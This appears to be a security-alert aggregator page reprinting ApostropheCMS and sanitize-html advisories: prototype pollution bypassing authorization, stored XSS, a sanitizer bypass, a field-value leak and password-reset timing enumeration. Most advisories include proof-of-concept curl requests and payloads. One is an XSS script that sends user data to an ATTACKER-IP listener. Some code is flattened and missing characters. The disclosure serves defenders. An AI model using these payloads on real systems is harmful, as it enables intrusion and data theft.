Where
-Infinity
0
Severity
9.1
CSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

<img width="1919" height="1046" alt="proto" src="https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6" />

Summary

apos.util.set() traverses dot-notation paths without sanitizing proto, allowing an authenticated editor to write arbitrary values to Object.prototype via the $pullAll patch operator.

A confirmed gadget in publicApiCheck() causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.

---

Details

Root Cause — apos.util.set() (modules/@apostrophecms/util/index.js ~line 800)

The function splits a dot-notation path and traverses properties without rejecting proto, constructor, or prototype:

js set(o, path, v) { path = path.split('.'); for (i = 0; i < path.length - 1; i++) { o = o[path[i]]; // when path[i] === 'proto', o becomes Object.prototype } o[path[i]] = v; // mutates Object.prototype }

Source — implementPatchOperators() (modules/@apostrophecms/schema/index.js ~line 1737)

User-controlled keys from the $pullAll operator are passed directly to apos.util.set():

js .each(patch.$pullAll, function(val, key) { cloneOriginalBase(key); // uses .has (hasOwnProperty) self.apos.util.set(patch, key, ...); // key is fully attacker-controlled });

cloneOriginalBase() does not sanitize proto because .has() performs an own-property check. Since proto is inherited rather than an own property, the clone step is skipped and execution falls through to apos.util.set().

The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.

---

Gadget — publicApiCheck() (modules/@apostrophecms/piece-type/index.js ~line 1148)

js publicApiCheck(req) { if (!self.options.publicApiProjection) { if (!self.canAccessApi(req)) { throw self.apos.error('notfound'); } } }

Once Object.prototype.publicApiProjection is set to any truthy value (for example []), every module instance inherits it.

Because JavaScript property lookup resolves inherited properties from Object.prototype, the condition:

js !self.options.publicApiProjection

evaluates to false for all modules.

As a result, the authorization check is skipped for every subsequent request handled by the process.

---

Proof of Concept

Environment: ApostropheCMS v4.30.0, Node.js, MongoDB

Prerequisites: Editor-level credentials

Step 1 — Confirm Endpoint Is Protected (Unauthenticated)

bash curl -s http://localhost:3000/api/v1/@apostrophecms/user

Response:

json {"name":"notfound","data":{},"message":"notfound"}

---

Step 2 — Obtain Editor Token

bash TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"..."}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

---

Step 3 — Poison Object.prototype via $pullAll

bash curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -H "Cookie: apos-testapp.csrf=csrf" \ -H "X-XSRF-TOKEN: csrf" \ -d '{"$pullAll":{"proto.publicApiProjection":[]}}'

Response:

http HTTP/1.1 200 OK

---

Step 4 — Authorization Bypass Confirmed (Unauthenticated)

bash curl -s http://localhost:3000/api/v1/@apostrophecms/user

Response:

json {"pages":0,"currentPage":1,"results":[]}

The endpoint now returns a valid paginated response instead of notfound.

No credentials are supplied.

Execution passes publicApiCheck() and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.

Cleanup

The pollution persists until the Node.js process is restarted.

---

Impact

Vulnerability Type

Server-Side Prototype Pollution leading to Authorization Bypass (CWE-1321)

Who Is Impacted

Any ApostropheCMS installation where at least one editor-level account exists.

This is the default configuration for multi-user CMS deployments.

Security Impact

A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.

All subsequent unauthenticated requests to piece-type REST API endpoints bypass publicApiCheck().

Verified affected endpoints include:

- @apostrophecms/user - @apostrophecms/global

Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.

The bypass affects every unauthenticated visitor until the server is restarted.

---

Suggested Fix

Reject dangerous prototype-related path segments before traversal:

js if ( p === 'proto' || p === 'constructor' || p === 'prototype' ) { return; }

Apply the same validation both:

1. Inside apos.util.set() 2. Before passing user-controlled keys into apos.util.set() from implementPatchOperators()

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

- <title> - <meta> attributes - structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context: javascript "></title><script>alert(1)</script> This confirms: - Improper output encoding - Ability to escape <title> / <meta> contexts - Arbitrary script execution

PoC 2 This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data. javascript "></title><script> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuuluapa8

Steps to Reproduce

1. Start a local listener: python3 -m http.server 5656 2. Login to ApostropheCMS as an authenticated user 3. Create or edit a page 4. Navigate to SEO settings 5. Insert the payload into the SEO Title field and Meta Description javascript "></title><script> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> 6. Set Schema Type to "Web page" 7. Save and publish the page 8. Have an administrator visit the page

Result - The payload executes in the admin’s browser - The script sends a request to: /api/v1/@apostrophecms/user - The response contains sensitive user data: - usernames - email addresses - roles (including admin)

- The data is exfiltrated to the attacker-controlled server: - http://ATTACKER-IP:5656

Evidence - The attacker server receives: - GET /?data=BASE64ENCODEDRESPONSE - Decoding the response reveals sensitive application data.

Security Impact This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary A mutation-XSS / allowedTags bypass: when textarea (or xmp) is included in allowedTags, an input containing a literal </textarea/> (a solidus right after the RCDATA end-tag name) lets non-allowed markup such as <img src=x onerror=…> pass through sanitizeHtml() live and unescaped, even though img/onerror are not in the allowlist. A spec-compliant browser executes the surviving handler — XSS. This is a literal-solidus variant that bypasses the two most recent fixes in this code area (CVE-2026-40186, CVE-2026-44990), both already applied in 2.17.5. The default configuration is not affected.

Details sanitize-html emits the text content of HTML raw-text elements (textarea, xmp) without escaping. Two things combine: - Parser differential: on input, htmlparser2 does NOT recognize </textarea/> (solidus after the RCDATA end-tag name) as a close tag; it emits </textarea/><img …> as a single raw-text node. - Unescaped passthrough: the ontext handler (index.js ~575-583) appends textarea/xmp content with result += text (no escapeHtml), assuming it is "already properly encoded" — true for entity-decoded content (what CVE-2026-40186 fixed) but false for this mis-tokenized literal close tag. A spec browser treats </textarea/> as a valid textarea close, so the following <img onerror> is parsed as a live element. The recent fixes addressed entity-encoding (CVE-2026-40186) and the xmp default (CVE-2026-44990); neither covers the literal-solidus mis-tokenization, so the raw passthrough still leaks.

PoC js // npm i sanitize-html@2.17.5 parse5 && node poc.js const sanitizeHtml = require('sanitize-html'); const input = '<textarea></textarea/><img src=x onerror="alert(document.domain)">'; const opts = { allowedTags: sanitizeHtml.defaults.allowedTags.concat(['textarea']) }; // img NOT allowed console.log(sanitizeHtml(input, opts)); // => <textarea></textarea/><img src=x onerror="alert(document.domain)"></textarea> // the <img onerror> survives live and unescaped

console.log(sanitizeHtml(input)); // default config (no textarea allowed) => "" (safe) Re-parsing the sanitized OUTPUT with parse5 (the WHATWG HTML parser browsers/jsdom use) yields a live <img src=x onerror=alert(document.domain)> at body level (it escaped the textarea RCDATA, not inert text) → the onerror fires in a browser. Confirmed on 2.17.5 (Node v24). A canonical poc.js is attached. <img width="650" height="118" alt="image" src="https://github.com/user-attachments/assets/d63bb5b7-ba3e-4b0e-a821-86a453ea0352" />

Impact Cross-site scripting (CWE-79). Requires textarea (or xmp) in allowedTags — a benign-looking, common addition in form builders, CMS, and rich-text editors. Adding a harmless tag that then enables XSS via non-allowed img/onerror breaks the sanitizer's core contract; the maintainers have fixed this class before (e.g. GHSA-9mrh). An attacker who can submit content rendered through such a configuration achieves stored/reflected XSS (cookie theft, session hijack). Severity Medium (default config is safe; user interaction to view the page). Suggested fix: route textarea/xmp content through escapeHtml instead of the raw passthrough, and/or fix the htmlparser2 </tag/> RCDATA end-tag tokenization to match the WHATWG spec.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The choices and counts query parameters in the Apostrophe CMS REST API allow unauthenticated users to extract distinct field values for any schema field that has a registered query builder, completely bypassing publicApiProjection restrictions that are intended to limit which fields are exposed publicly. Fields protected by viewPermission are similarly exposed.

Details

When a piece type configures publicApiProjection to enable public API access while restricting visible fields, the restriction is enforced via a MongoDB projection on the main query (piece-type/index.js:1130-1134). However, the choices and counts query builders bypass this protection through a separate code path.

The vulnerable flow:

1. getRestQuery at piece-type/index.js:1120 calls applyBuildersSafely(req.query) (line 1122), which processes query parameters including choices and counts since both have launder methods (doc-type/index.js:2627-2628 and 2675-2676).

2. The publicApiProjection is applied afterward (line 1130-1134) as a MongoDB projection on the main query.

3. During query execution, the choices builder's after handler (doc-type/index.js:2636-2668) iterates over requested field names. The only validation is: - The field has a registered builder (.has(query.builders, filter) at line 2651) - The builder has a launder method (line 2656)

All schema field types (string, integer, float, select, boolean, date, slug, relationship) register query builders with launder methods via addQueryBuilder in addFieldTypes.js.

4. toChoices (line 2661) calls the field's choices function, which typically calls sortedDistinct → toDistinct. The toDistinct method (doc-type/index.js:2811) executes db.distinct(property, criteria) — a MongoDB operation that returns all distinct values for the given property matching the criteria. MongoDB's distinct operation does not respect projections; it operates directly on the specified field regardless of any projection set on the query.

5. The results are stored via query.set('choicesResults', choices) (line 2666) and returned directly in the API response at piece-type/index.js:292-296 without any filtering against publicApiProjection or removeForbiddenFields.

The same bypass applies to viewPermission-protected fields: removeForbiddenFields (doc-type/index.js:1585-1611) only processes document results from toArray(), not the separate choices/counts data.

The page REST API has the same issue at page/index.js:371-376.

PoC

bash Prerequisites: - An Apostrophe 4.x instance with a piece type configured with publicApiProjection - Example: an 'article' piece type with: publicApiProjection: { title: 1, slug: 1, url: 1 } and additional schema fields like 'status' (select), 'priority' (integer), or 'internalNotes' (string) NOT in the projection

1. Verify normal API access only returns projected fields curl -s 'http://localhost:3000/api/v1/article' | python3 -m json.tool Response results contain only: title, slug, url (as configured)

2. Extract distinct values of a non-projected field via choices curl -s 'http://localhost:3000/api/v1/article?choices=status' | python3 -m json.tool Response includes: "choices": {"status": [{"value": "draft", "label": "draft"}, {"value": "published", "label": "published"}, ...]}

3. Extract distinct values with document counts via counts curl -s 'http://localhost:3000/api/v1/article?counts=priority' | python3 -m json.tool Response includes: "counts": {"priority": [{"value": 1, "label": "1", "count": 15}, {"value": 2, "label": "2", "count": 8}, ...]}

4. Multiple fields can be extracted at once curl -s 'http://localhost:3000/api/v1/article?choices=status,priority,internalNotes'

Impact

- Distinct field values leaked: An unauthenticated attacker can extract all distinct values of any schema field on any piece type that has publicApiProjection configured, even when those fields are explicitly excluded from the projection. - Field types affected: All field types that register query builders: string, slug, integer, float, select, boolean, date, and relationship fields. - Count disclosure: The counts variant additionally reveals how many documents have each distinct value, providing statistical information about the dataset. - viewPermission bypass: Fields protected with viewPermission (intended for role-based field access) are also exposed via this path. - Both APIs affected: The piece-type REST API (piece-type/index.js:292-296) and page REST API (page/index.js:371-376) are both vulnerable. - Real-world impact: If a CMS stores sensitive data in schema fields (e.g., internal status values, priority levels, internal categories, user-facing content marked as restricted), all distinct values are extractable by any unauthenticated visitor.

Recommended Fix

In the choices builder's after handler (doc-type/index.js:2636-2668), add validation to skip fields not permitted by publicApiProjection and viewPermission:

javascript // doc-type/index.js, in the choices builder's after handler (line 2644 area) for (const filter of filters) { if (!.has(query.builders, filter)) { continue; } if (!query.builders[filter].launder) { continue; }

// NEW: Enforce publicApiProjection restrictions on choices/counts const publicApiProjection = query.get('project'); if (publicApiProjection && !publicApiProjection[filter]) { continue; }

// NEW: Enforce viewPermission field restrictions const field = self.schema.find(f => f.name === filter); if (field && field.viewPermission && !self.apos.permission.can(query.req, field.viewPermission.action, field.viewPermission.type)) { continue; }

const query = baseQuery.clone(); queryfilter; choices[filter] = await query.toChoices(filter, { counts: query.get('counts') }); }

Additionally, apply the same fix in the page REST API handler (page/index.js) for consistency.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 are vulnerable to stored cross-site scripting via unsanitized user display name in draft version tooltip. As of time of publication, no known patched versions are available.

First published (updated )
Severity
3.7
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The password reset endpoint (/api/v1/@apostrophecms/login/reset-request) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.

Details

The resetRequest handler in modules/@apostrophecms/login/index.js attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:

User not found — fixed 2000ms delay (index.js:309-314): javascript if (!user) { await wait(); // wait = (t = 2000) => Promise.delay(t) self.apos.util.error( Reset password request error - the user ${email} doesn\t exist. ); return; }

User found — variable-duration DB + SMTP operations, no artificial delay (index.js:323-355): javascript const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); // ... URL construction ... await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) });

The user-found path includes a MongoDB update() call and an SMTP email() send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.

Additionally, the getPasswordResetUser method (index.js:664-666) accepts both username and email via an $or query, enabling enumeration of both identifiers: javascript const criteriaOr = [ { username: email }, { email } ];

There is no rate limiting on the reset endpoint. The checkLoginAttempts throttle (index.js:978) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.

PoC

Prerequisites: An Apostrophe instance with passwordReset: true enabled in @apostrophecms/login configuration.

Step 1 — Baseline invalid user timing: bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{timetotal}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "nonexistent-user-'$i'@example.com"}' done Expected: all responses cluster tightly around 2.0xx seconds

Step 2 — Test known valid user: bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{timetotal}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "admin"}' done Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)

Step 3 — Statistical comparison: The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.

Impact

- Account enumeration: An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance. - Credential stuffing preparation: Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases. - Phishing targeting: Knowledge of valid accounts enables targeted phishing campaigns against confirmed users. - No rate limiting: The absence of throttling on the reset endpoint allows high-speed automated enumeration. - Mitigating factor: The passwordReset option defaults to false (index.js:62), so only instances that explicitly enable password reset are affected.

Recommended Fix

Normalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found:

javascript async resetRequest(req) { const MINRESPONSETIME = 2000; const startTime = Date.now(); const site = (req.headers.host || '').replace(/:\d+$/, ''); const email = self.apos.launder.string(req.body.email); if (!email.length) { throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired')); } let user; try { user = await self.getPasswordResetUser(req.body.email); } catch (e) { self.apos.util.error(e); } if (!user) { self.apos.util.error( Reset password request error - the user ${email} doesn\t exist. ); } else if (!user.email) { self.apos.util.error( Reset password request error - the user ${user.username} doesn\t have an email. ); } else { const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); let port = (req.headers.host || '').split(':')[1]; if (!port || [ '80', '443' ].includes(port)) { port = ''; } else { port = :${port}; } const parsed = new URL( req.absoluteUrl, self.apos.baseUrl ? undefined : ${req.protocol}://${req.hostname}${port} ); parsed.pathname = self.login(); parsed.search = '?'; parsed.searchParams.append('reset', reset); parsed.searchParams.append('email', user.email); try { await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) }); } catch (err) { self.apos.util.error(Error while sending email to ${user.email}, err); } } // Pad all paths to a constant minimum duration const elapsed = Date.now() - startTime; if (elapsed < MINRESPONSETIME) { await Promise.delay(MINRESPONSETIME - elapsed); } },

Additionally, consider applying rate limiting to the reset-request endpoint to prevent high-speed enumeration attempts.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203